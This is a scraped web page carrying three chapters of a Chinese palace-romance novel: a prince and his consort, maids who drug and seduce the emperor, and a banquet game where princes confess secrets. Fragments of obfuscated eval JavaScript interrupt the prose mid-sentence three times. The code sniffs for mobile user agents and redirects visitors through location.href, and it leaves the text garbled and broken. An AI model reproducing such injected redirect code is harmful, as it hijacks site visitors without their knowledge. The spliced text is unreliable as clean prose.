l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629050|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难得是个热心肠,怪不得那么多姑娘都看上了,师姑娘的眼光的确不错。”
沐夷光正要说点什么,便听得门外小太监的通传声:“太子殿下驾到——”
摆太子的架子给谁看呢?
她还在生陆修珩的气,虽然福身行礼,但还牢牢记着自己说过的气话,连一句“臣妾见过殿下”也不愿说。
刘宝一脸紧张地看着殿下,恨不得出声提醒:成大事者,不拘小节。
不过并不用他提醒,只见陆修珩轻咳一声,温声道:“不必多礼,你有伤在身,往后见了孤都不必行礼。”
说不多礼,沐夷光马上就起来了,依旧撅着嘴,满脸都写着“不高兴”。
只是她的五官生得漂亮,如此拧眉撅嘴的,也并无多少生气的震慑力,反而像是一只正在撒娇打滚的小猫。
陆修珩神色如常,总算是要伸出手,给这只小猫顺毛。
“秦王送来的祖母绿坠子到了,太子妃可要看看?”
小猫扬扬下巴,又抬抬眼,终于给了一个感兴趣的眼神。
太子殿下招了招手,捧着东西的宫人们鱼贯而入,东西倒都是好东西,只是沐夷光挑挑拣拣,只要了那枚坠子和镶石榴石的青玉水盛,还很是嫌弃地让青霜用清水浸泡清洗一番。
陆修珩并无多少真情实感,因此也就不甚在意。
他知道自己此行的目的,嘴角堪堪勾起一个清浅的笑来:“方才在聊些什么,怎么见了孤就不说话了?”
他的眉眼本就俊美,如今带上这一点笑意,便像是浸在冰雪里的暖玉,从十分的清冷里流淌出一分惊艳来,摄人心魂。
沐夷光被这美色所惑,立刻便心软了三分,只是另外七分气性仍然让她使着小性子哼道:“青霜方才与臣妾说,那严探花生得一副热心肠、好脾气,见了师姑娘行动不便,主动出手相助,臣妾正在感慨师姑娘慧眼识珠呢。”
陆修珩听出沐夷光的讽刺之意,但他自认自己不是古道热肠、平易近人之人,便只是一脸坦然地附和:“的确是个怜香惜玉之人,倒也不负探花美名。”
这个人聪明一世,怎么就和榆木脑子似的不开窍呢。
沐夷光气急了:“你就不会说点好听的哄哄我吗?”
陆修珩只觉得自己脑仁都在隐隐作痛。
他静默片刻,重新梳理此事,总算找到了可以道歉的理由:“孤今日赴宴,迟迟未见你身影,便叫人去寻了,台上花神评选,孤不曾细看她们容貌,没有第一时间认出你,是孤眼力不够,而且你已经跳得极好了,更不该说你因肩伤而动作迟滞。”
他的声音温凉而低沉,虽然只是陈述事实,亦带着一股能够抚慰人心的的平静。
沐夷光顺着他的话想了想,慢慢转怒为喜。
是了,她只记得殿下与楚王他们打赌,倒忘了殿下是不重女色、冷淡疏离的性子,但他如此关心自己行踪,自己被清平县主为难也立刻赶来出手相助,可见对自己一片深情。
不过是讷口少言了些,自己就勉为其难,多担待一些吧。
“好吧,”沐夷光故作大度地叹一口气:“如果殿下亲手为我戴上那枚坠子,我就原谅你了。”
21. 第 21 章
见太子殿下没有出言反驳,长缨的机灵劲儿又上来了,立刻带着人连坠子带锦帕一同呈了上来。
祖母绿坠子静静地躺在白瓷高足碗之中,映得澄澈透明的清水也泛出一股绿韵。
陆修珩的耐性快要消耗殆尽了,只是不想前功尽弃,到底是冷着一张脸,伸手去捞水里的坠子。
他的手指修长如玉,手背上的脉络与青筋都清晰可见,就连那世间罕见的祖母绿坠子落入这双干净冷白的手中,也要沦为陪衬。
沐夷光抿住笑意,转过身,满心欢喜地等着。
陆修珩慢条斯理地用锦帕仔细擦净了手指与坠子,伸手虚虚绕过她的脖颈。
沐夷光回宫后便换了一身烟绿色的及胸长裙,披了一件金银丝翠色纱罗的大袖衫,露出如天鹅般优美颀长的粉颈,以及领口处一小段白皙细腻的肌肤来。
陆修珩的眉心微微动了动,移开眼神,专心致志地对付起手中这枚坠子。
他生来便是太子,十指不沾阳春水,何时做过这等事情。
只见陆修珩抬高了手,小心避过那片温热的肌肤,仔细端详了一会儿,很快就无师自通地找到了那处细小的勾带,将其首尾相连,那一泓碧水便定格在了沐夷光颈间。
沐夷光只觉得颈间一凉,陆修珩已然松了手,往后退了一步。
葡萄纹饰的金链环环相扣,中间坠着一块比指甲盖儿还大的方形祖母绿,散发出莹亮透绿的光泽,更衬得她肤白胜雪,那一抹绿意青翠欲滴,仿佛要就着这雪径,坠入更深的山谷之中。
陆修珩侧过头,喉结轻轻滚了滚:“……如此,便好了吧?”
这祖母绿坠子与她今日的衣裙极为相衬,沐夷光满意地点了点,宽宏大量地放过了殿下。
*
今日天色极好,宣成帝忙于政务,让几个儿子去了春日宴,自己却只能在勤政殿里苦哈哈地批着奏章,实在是有些乏了。
宣成帝抬起头,往窗外看了看天色,万公公立刻心领神会道:“启禀陛下,听闻今日御花园里天降祥瑞,开了一朵异色金茶花。”
果然,宣成帝放下了朱笔,饶有兴趣道:“竟有此事?”
万公公点点头:“听说那金茶花是在一棵白山茶上开出来的,通身明黄,这可是大大的祥瑞啊,可见我大齐被蒙圣恩,福泽深厚。”
祥瑞是太平盛世之兆,宣成帝奏章也不批了,起身道:“来人,摆驾御花园。”
万公公不仅七窍玲珑,在这宫里更是耳通目明,很快便带着宣成帝寻到了浮碧亭。
宣成帝眯着眼,远远就望见了那棵茶树,那朵金色茶花在一片雪白之中十分显眼,更为显眼的是茶树下站着的两个貌美侍女,一个捧着茶杯,另一个捧着茶壶,似乎是无意路过此处,又奉命在这里守着。
万公公刚要开口赶人,宣成帝却兴致勃勃地拦住了他,亲自走上前去。
一片明黄衣角突然出现在眼前,白露与素月连忙跪下:“奴婢参见皇上。”
宣成帝眼里流露出几分兴味:“你们是哪里来的婢女?”
白露捧着茶杯,胆怯得连话都说不出来,素月垂着眼,娓娓道:“奴婢们原是侍奉宫中的宫女,前些时日被贵妃娘娘送去了太子妃娘娘身边伺候,今日陪同太子妃娘娘进宫赴宴,太子妃娘娘在御花园中见此祥瑞,便去寻太子,想由太子亲口禀报陛下,便吩咐奴婢们在此处守着,怕人误摘了去。”
既然原本就是宫中的宫女,宣成帝心中一动:“抬起头来。”
白露与素月依言照做。
宣成帝年逾不惑,不过保养得当,儒雅斯文,自有一番天子威仪。
太子为她们选的这一条出路,看起来并不坏,何况她们二人本身就没有选择。
白露目光盈盈,似乎慌得要落下泪来,接下来就是她练习过无数回的动作,一不小心倾倒了手中茶杯。
一股几不可闻的清香扑鼻而来,混在茶花的异香之中,味道便更不起眼了。
天底下就有这么正正好好的事儿,左边那个容貌冶艳,像是那瓣明黄,右边那个颜色清丽,像是那片莹白。
宣成帝只觉得一股邪火涌上心头,恨不得就在这祥瑞之下采撷这两朵娇花,他招了招手,万公公立刻便让人将行幄升了起来。
顷刻之间,天雷勾动了地火。
万公公站得远远的,闭目塞听,还不忘用尖细的声音缓缓地敲打着其他人:“今日之事,都给咱家把嘴给捂严实了。”
*
花神评选还在如火如荼地进行着,叶贵妃屏退了旁人,独自坐在远处亭台之上,冷眼看着这一群凡桃俗李,心中是克制不住的腻味儿。
座下的小太监正在兢兢业业地禀报白露与素月带回来的情报,全都是太子与太子妃共同用膳、共同出行、甚至共食一块糕点这样微末之事。
她派白露与素月去钟粹宫,不是为了看这两人秀恩爱的!
叶贵妃听得不耐烦,径直问道:“太子与太子妃当真如此恩爱?”
那小太监点了点头:“二人感情甚笃,白露与素月在东宫等候了这些时日,实在是找不到可趁之机。”
“废物,这天底下还有不偷腥的猫儿不成?”叶贵妃轻抚指上艳红的丹蔻,不以为然:“白露手里不是还有本宫给的催情香吗,随便使点手段不就成了,怎么光长脸不长脑子,难不成太子日日都宿在太子妃寝殿之中?!”
小太监老实道:“听说太子妃娘娘肩上的伤还未好,担心污了殿下的眼睛,这几日并未同房,只是太子妃看得也紧,已将宫中送来的另外两个婢女打发到外院去了,她们心里也顾虑,便更难近太子的身。”
“哼,不过是一只下不出蛋的母鸡,”叶贵妃抬起下巴,鄙夷不屑道:“长得漂亮又如何,肩上中了那样深的一箭,只怕是要留疤吧?”
“那就不知道了,听闻太子妃对此事格外重视,日日用玉露膏抹着,就连睡觉也是绑着手睡的呢。”
“真是可笑,”听到沐夷光也有糟心之事,叶贵妃总算是满意地笑了:“看来这两个丫头也并非一无是处嘛,传本宫的口谕,就说她们伺候太子妃得当,让她们来领赏。”
小太监挠了挠脑袋:“回娘娘的话,这两个奴婢福薄,只给奴才留了口信,又回太子妃身边伺候去了。”
叶贵妃也不在意:“那就好生伺候着吧,你去提点提点,让她们不要忘了自己的本分。”
小太监领命,正要告退,却见叶贵妃身边得力的大丫鬟玲珑匆匆走了过来,俯身在叶贵妃身边耳语了几句。
叶贵妃有些不敢置信,喝道:“你再说一遍?!”
玲珑立刻跪下:“奴婢不敢胡言,原是四皇子的人去了浮碧亭那边,被万公公给拦住了,奴婢恰巧路过,在一旁听得清清楚楚,陛下在御花园……幸了白露与素月了。”
叶贵妃气极:“好啊,这两个吃里扒外的东西。”
她几乎立刻就想通了其中关窍,宣成帝虽然有些好色,但也不是色/欲/熏心白日宣淫之人,更不会不管不顾地在御花园便幸了儿媳的婢女,定是这两个贱婢,将原本要使在陆修珩身上的手段,胆大包天地用在了宣成帝身上!
叶贵妃将桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629051|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上杯盏尽数扫在地上,上好的瓷器碎裂成片,发出清脆的响声。
“没想到本宫竟然看走了眼,这太子妃竟有如此手段!”
她在后宫争斗多年,对女人心底的那些弯弯绕绕何等敏感,自然看出太子妃这一招的用意,自己送出去的丫鬟爬床失败也就算了,竟然转手就送到了龙床上来,这不就是要打自己的脸么?
玲珑连忙劝道:“娘娘息怒,太子妃近日风头正盛,连皇上都对她赞誉有加,现在还不是对付她的时候。”
叶贵妃把持后宫多年,自然也不会这么没脑子,她很快冷静下来,并且想出了更好的办法:“放心吧,本宫心里有数,只是略施小惩罢了。”
玲珑忙道:“单凭娘娘吩咐。”
“姑娘家都重视容貌,她不是对肩上的伤口在意得紧么,本宫就要让她长长记性。”
叶贵妃那张美艳的脸上勾起一抹阴险狠戾的冷笑,竟让人心中恐惧。
她又望向浮碧亭的方向:“至于那两个贱婢嘛,花无百日红,自有本宫磋磨她们的时候。”
*
二月廿五,花朝节。
沐夷光已经连着好几日没有出门了,只因春日宴的第二日闹出出了一桩不大不小的艳闻:她的公公将她的婢女给幸了。
就凭白露与素月的身份,入了宫最多也不过是个选侍,但宣成帝因时遇祥瑞,天缘凑巧,竟然将二人破格封了才人,说不定还有机缘在后头。
沐夷光也不傻,想到先前陆修珩对这两个婢女的态度,自然知道这里面有他的手笔,为了避嫌,这些天都乖乖地呆在东宫,终于又到了可以出来玩耍的时候。
花朝节是大齐极为重要的节日,不仅民间要祭奠花神、赏花踏青、扑蝶挑菜,宫廷也是如此。
这日一早,皇上便会亲自去花神庙中诵读祭文,祈祷大齐五谷丰登,瓜瓞绵绵,春日宴上评选出来的十二花神亦要在花神庙旁巡游祈福,这可是大大长脸的荣誉。
祭完花神,便是挑菜御宴了。
民间的挑菜是去山野之间采挖野菜,宫中却有不同。
御宴上预备了朱绿花斛,每件花斛里边盛着生菜、荠花等菜品,下面用红色的丝带系着十条罗帛小卷,参与者需用金篦去挑,挑中写着红字的罗帛便是有赏,写着黑字的便是受罚,所有赏罚皆由宣成帝亲自主持,而参加挑菜的后妃、皇子、贵主等皆是有赏无罚。
中和殿的次殿是皇子们的坐席,六皇子陆修琅年龄太小,不在此列,四位皇子带着各自的皇妃,还有尚未娶妻的雍王,正好凑成一桌,大家挑完菜,无论结果如何,皆在宣成帝那里领了赏。
沐夷光立刻便觉得无聊起来,有赏无罚,怎么算作游戏呢?
有这样想法的不止她一个,楚王陆修瑞也道:“如此挑菜,实在无趣得很,还是要有赏有罚才好。”
秦王陆修珉坐在太子的下首,他看着对面的三弟,笑道:“本王没记错的话,三弟方才挑中的可是黑字,不知三弟是打算为我们吟诗一首,还是奏乐一曲呢?”
“那多没意思啊,”陆修瑞挑挑眉,大胆道:“左右这里没有外人,要玩便玩大的,挑中黑字之人,须得说出一个大家都不知道的秘密,如何?”
刺激,这可太刺激了。
雍王陆修琢第一个响应,吴王陆修瑾想得深远些,他谨慎问道:“既然是秘密,如何判断真假呢?”
众人上首处,清冷矜贵、缄口不言的太子殿下忽然开了口,意味深长道:“是真难灭,是假易除,只要四弟你能编得圆,瞒过在场诸位的眼,那便是你的秘密了。”
22. 第 22 章
也就是说,你可以说谎,但你的谎言亦会展现你的意图。
这番话立刻将这个游戏推到了博弈的新高度,几位皇子脸上都露出若有所思的表情。
陆修珩依旧不动声色,只那双冷漠淡然的眸子里流露出几分玩味。
沐夷光觉得新奇,侧头对陆修珩道:“殿下好像对这个游戏很感兴趣。”
陆修珩漫不经心地点点头,难得老三那个绣花枕头能有如此想法,这样有趣的游戏,若是由朝上那一帮文臣来玩,不知要将这御宴变成怎样互相攻讦、党同伐异的现场。
沐夷光又小声道:“臣妾没有秘密,也不会说谎,怎么办呀?”
她的人生就是这么简单吗?
陆修珩看她一眼,淡淡道:“那便边看边学。”
沐夷光眨了眨眼,竟然觉得很有道理。
先前殿下教自己说谎的时候,自己好像还是很有悟性,学得挺快的。
楚王妃卢琼思正巧在一旁听见了,她撇了撇嘴,要说这太子妃还真是个不操心的命,自己才提醒了她扬州瘦马的事,马上就受伤失忆忘了个干净,现在只怕是以为自己与太子真心相爱呢。
就是不知道这不操心的命是好还是坏了。
卢琼思走近太子妃,“好意”提醒道:“臣妾倒是有个想法,娘娘与殿下感情如此深厚,娘娘若是抽中了黑字,不如便说说自己是何时对殿下心动的?”
只怕是失忆以后才昏了头吧。
沐夷光原本对卢琼思的印象就是青霜和长缨所转述的“火烧外室”、“挑拨离间”、“天下男人没一个好东西”这几个关键字,现在却觉得她人还不错,提出的这个想法也很为自己着想的,只是自己的确记不起来了。
陆修珩回头冷冷往此处看了一眼,只见沐夷光并未听出其中深意,而是冲着楚王妃笑着摇摇头,谢过她的好意。
既然连太子殿下都同意,游戏很快便开始了。
皇子们玩心大起,重新制定了规则,不仅令宫人们重新撤换了朱绿花斛,甚至还用抽签决定了挑菜的顺序,此轮仍有五红五黑十卷罗帛,抽中红字之人可以免于受罚,而抽中黑字之人,不仅需要罚酒三杯,还需说出一个不为人知的秘密。
签筒内放了写有从“甲”至“壬”字序的九个纸团,太子自然是第一个抽签的,沐夷光紧随其后。
她抽中了“壬”,是最后一个。
她又偏头往殿下那边看:“殿下,你是第几个呀?”
陆修珩展开纸团,上面写着“辛”,正好在她前面一位。
沐夷光眉眼弯弯的,将自己的次序拿给他看:“殿下,我在你后面。”
她的笑意融融,颊边的小梨涡也甜甜的。
陆修珩忽然有种想用手指戳一戳那梨涡的冲动,免得里面盛满了稚气与天真。
他移开眼神,随口敷衍了一句:“如此便好。”
有了殿下挡在前面,沐夷光已经放松下来,专心致志地吃着面前的茶点。
到底是宫中御宴,连席上的点心也都精致好吃,她面前的这一碟是透花糍,用上好的糯米打成软软糯糯的糍糕,里面包裹着做成梅花形状的细腻豆沙,深红色的花形在晶莹剔透的外皮之下若隐若现,故有此名。
只是糯米多吃不易克化,点心也是按着份量上的,一人面前只有两枚。
沐夷光轻轻轻轻咬上一口透花糍,便觉得软糯清甜,清香四溢,很快便将面前的透花糍吃完了,终于分出心思来看众人挑菜。
按照抽签顺序,秦王妃是第一个。
秦王妃闺名徐又慧,是定远郡王徐谊之女,是一个温柔贤淑的女子。
这一轮的气氛紧张许多,徐又慧选中朱绿花斛下的一条红色丝带,用金篦挑来了罗帛小卷,小心翼翼地将其展开,是红字。
她轻轻舒了一口气,与秦王相视一笑。
据说秦王妃与秦王青梅竹马,两小无猜,感情格外深厚,如今看来的确如此。
第二个是吴王陆修瑾。
经陆修珩提醒后,他立刻便做好了抽中黑字的准备,甚至在他的秘密人设里头犹豫不决,不知该借此机会告诉王妃自己是一个一心一意忠贞不二的人好呢,还是告诉几位兄长自己是一个与世无争闲云野鹤的王爷好。
不过老天并没有给他这个为难的机会,他抽走了此轮的第二个红字。
陆修瑾动作夸张地耸了耸肩,掩饰自己的遗憾,他又看向陆修瑞:“三哥,我有预感,你会抽中黑字。”
楚王陆修瑞正好是第三个,他笑骂了四弟一句,随手挑来了一卷罗帛,打开一看,傻眼了,是黑字。
挑中了这一轮第一个黑字,陆修瑞立刻就成为了全场焦点。
卢琼思紧紧地盯着自己的夫君,眼神里写着一行大字:“说错一个字你就死定了”。
陆修瑞正准备显摆呢,忽然一阵寒意袭来,他看了看自己的王妃,又看了看在场的女眷,立刻闭了嘴。
自己的秘密虽然不至于见不得光,可那都不是适合在这个场合说的呀!
陆修珩睨了没个正形儿的楚王一眼,已经替他做了决定:“听闻三弟前些时日又新置了一处宅院,不知安顿在何处,也好提前给五城兵马指挥司透个准信儿。”
场上立刻便有低低的笑声响起。
太子殿下的声音凉薄,话语更刻薄,五城兵马指挥司负责京城火盗事宜,只一句话便让楚王妃没了脸面。
更受伤的还是楚王殿下,陆修瑞一脸伤心震惊,连喝了三杯,也没想明白二哥为何要背刺自己。
这一句话立刻就点燃了卢琼思心中的怒火,她气冲冲地瞪着陆修瑞,眼里的火苗还在熊熊燃烧。
事已至此,陆修瑞哀叹一声,老实交代:“在朱雀街的左巷里。”
朱雀街地处城中,寸土寸金,但是位置深幽僻静,少有人往,这两个特点一结合,便有不少达官贵人都在此处安置着自己的金丝雀儿。
顾忌场合,楚王妃强忍着怒气对陆修瑞道:“殿下好本事呀,现在都开始狡兔三窟了。”
陆修瑞连连摆手,讨饶道:“冤枉啊,本王哪里敢。”
吴王陆修瑾一本正经地替楚王狡辩:“是啊,三哥也许只是想要置办点房屋地契罢了。”
吴王这是揣着明白装糊涂,唯有沐夷光是真不明白,懵懂问道:“殿下,这朱雀街的地界很值钱吗?”
一时之间,笑声更大了。
陆修珩懒得回答这个问题,只将自己的那碟透花糍推至沐夷光面前,提醒她多说多错。
倒是吴王陆修瑾插科打诨道:“二嫂说得正是了,若是二哥也在朱雀街购置房产,可要多留个心眼。”
沐夷光一脸茫然,一旁的秦王妃小声提醒:“娘娘,朱雀街那一带有个别名‘金屋’。”
所谓金屋,自然就是藏娇之用了。
沐夷光的脸立刻便红了起来,羞怯得低下头去,白皙的耳尖也透着漂亮的粉色。
她小声为太子殿下辩驳:“殿下才不会买呢。”
这声音太小,只有陆修珩听到了。
太子殿下微微侧身,望她一眼。
他此刻倒是觉得像楚王这样斡旋于各色女人之间也是一种本事,自己光是应付太子妃一个便很麻烦了。
楚王的这个秘密,主打的就是一个真诚,大家也立刻放过了他,只是回府以后楚王妃怕是不能轻饶了。
楚王之后便是雍王,陆修琅抽中红字,一脸笑意。
紧接着便是吴王妃庄仪,她与吴王新婚不久,正是情浓的时候,轮到她了,也并未急着去挑。
庄仪牵着陆修瑾的手:“臣妾就要中间那个,殿下帮忙挑出来可好?”
美人在怀,哪有不依着的道理,陆修瑾连连点头,伸手将庄仪看中的罗帛挑了出来。
沐夷光立刻觉得自己学到了,她拉了拉陆修珩的衣袖:“殿下一会儿也帮臣妾挑嘛。”
陆修珩并不答话,显然没有答应的意思。
说话间,陆修瑾已将罗帛展开,正是黑字,庄仪虽有些惊讶,但也做好了心理准备。
“臣妾确有一个秘密,”她缓缓起身,含羞带怯道:“今日清晨臣妾有些不舒服,便请了平安脉,把脉的大夫说……是滑脉。”
此事事关重大,庄仪定然不敢拿皇嗣来作假。
殿内安静了一瞬,毕竟吴王大婚不足一月,而滑脉要一月有余才能诊出,吴王在大婚前使了什么手段求娶了次辅嫡女也可想而知,可见是个上进的。
陆修瑾连忙扶着庄仪坐下,至于饮酒就更不可能了,全部都是自己代劳。
皇室子嗣单薄,一想到庄氏这一胎可能是宣成帝的长孙,他便笑得嘴都合不拢了,饮完三杯还嫌不够似的,恨不得将几位兄长挨个儿敬一轮:“这可真是,成婚成得早不如成得巧啊,让愚弟我后来居上了。”
“恭喜四弟。”
“不想花朝节还能闻此喜讯。”
“恭祝四哥喜得贵子啊。”
……
场面立刻就热闹了起来,只有沐夷光端坐着,故作严肃地抿着唇。
毕竟太子殿下的身体不好,子嗣艰难,自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629052|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要是流露出一丝羡慕的情绪,殿下只怕会更加为难吧。
她小声宽慰殿下道:“子嗣一事并不重要的,只要殿下身体康健,平平安安,臣妾便比什么都满足了。”
压力瞬间来到了太子殿下这边,甚至还有人偷偷地看了过来,莫非太子殿下的宿疾已经影响到生育子嗣了?
陆修珩看了沐夷光片刻,旋即勾出一抹笑意,目光也变得像春水那样温柔。
他做足一副体贴夫君的样子,不动声色将锅甩还给沐夷光:“无妨,你年纪太小,晚些要子嗣也不迟。”
此言一出,众人立刻便觉得有些牙酸,如此款语温言,真的是太子殿下亲口说出来的吗?
秦王妃更是神色黯然地摸了摸肚子,世人皆道太子殿下冷心冷情,可即便是温柔敦厚的秦王殿下也断不可能会说顾惜身体,晚些再要子嗣也无妨。
第六位是楚王妃卢琼思,她现在跟个炸药桶一样,一点就能着,好在她抽中的也是红字,没有自爆的机会。
接下来便轮到秦王陆修珉,他抽中了黑字。
大家都有些好奇风光霁月的秦王殿下会有什么秘密,只见陆修珉露出一个有些苦涩的笑容,饮完三杯酒,似乎才有了勇气,开口道:“本想着瞒过一阵是一阵,既然如此,直言也无妨。”
“本王平生无所好,唯爱经商,前些时日番货价贵,本王便投了半数身家,组建了海上船队,谁知船行至暹罗,竟遭遇了罕见风浪,至今下落不明。”
座上鸦雀无声,就连秦王妃也是脸色惨白,一脸震惊。
秦王说的这已经不是秘密了,更像是把柄。
大齐推行海禁,只许官营海贸,直到近些年来才有些许松动,秦王成天沉迷于这行商坐贾之事也就罢了,竟然胆大至此,也不怕落下个私通番国的嫌疑。
吴王陆修瑾试着打趣道:“大哥,你不是在与我们玩笑,想要借钱吧?”
秦王却一脸沉重,半点也笑不起来。
还是雍王陆修琅心直口快道:“大哥,此事实在事关重大,父皇可知此事?”
秦王陆修珉叹了口气:“购买船队前也曾探过父皇口风,父皇并未动怒,只是玩笑令我将一半所得充入军需,只是如今这番境遇,怕是分文不剩了。”
楚王陆修瑞皱着眉:“户部还能差了你这点银子不成,大哥便好生去与父皇认个错,以后再莫要干这些下九流的事了。”
陆修珉点了点头,郑重道:“此番坦白,也是下定决心要做出了断,此刻心中已经轻快许多。”
只有太子殿下冷眼旁观,秦王研桑心计,钻营久了,的确比旁人会利用规则。
沐夷光小声与陆修珩耳语道:“没想到秦王府中竟然遭此剧变,咱们要不要把先前从秦王那里赢来的那枚坠子还回去呀?”
陆修珩勾起唇角,笑意微冷:“无妨,差钱的可不是秦王,正是户部才是。”
毕竟组建一只船队所需的资费不知凡几,哪怕是成色再好的祖母绿,也不过是九牛一毛。
接下来还剩太子与太子妃夫妇,而朱绿花斛之下还剩一红二黑三卷罗帛。
陆修珩看了沐夷光一眼:“你想抽红字还是黑字?”
沐夷光有些惊讶:“可以选吗?”
陆修珩从来不做无把握之事,此刻也的确胸有成竹,却只是轻笑一声:“那便选一卷,孤尽力而为。”
殿下似乎不过随口一说,沐夷光却莫名觉得可信,仰起脸认真道:“臣妾想要红字。”
只见太子殿下从容不迫起了身,握住那枚金篦,从朱绿花斛之下挑出一卷罗帛来。
他手指修长,骨节分明,金篦在他手中恍若玩具一般,轻轻巧巧卷出罗帛。
众人屏息凝神,看着陆修珩缓缓展开手中罗帛,正是一行黑字。
大家几乎同时不怀好意地长舒一口气,毕竟太子殿下惯来孤傲疏离,神秘得紧,自然对他的秘密要更加好奇几分。
陆修珩似乎并未留意,只慢条斯理握住眼前酒盅,似在斟酌。
大家紧紧盯着太子殿下的一言一行,忍住催促的冲动,就连沐夷光也主动道:“殿下,臣妾替你饮酒。”
他还未来得及拒绝沐夷光好意,她便已经伸手抢来陆修珩的酒杯,指尖相触的一瞬,只觉得殿下的体温比瓷器还要凉上些许,方才的幸灾乐祸立刻又变成真心实意的关心了。
沐夷光自恃酒量不差,一连饮下三杯清酒,脸颊红红地看着陆修珩,粉嫩的唇瓣沾了酒液,变得亮晶晶的,那双眼睛更是如此。
“殿下,现在可以说了。”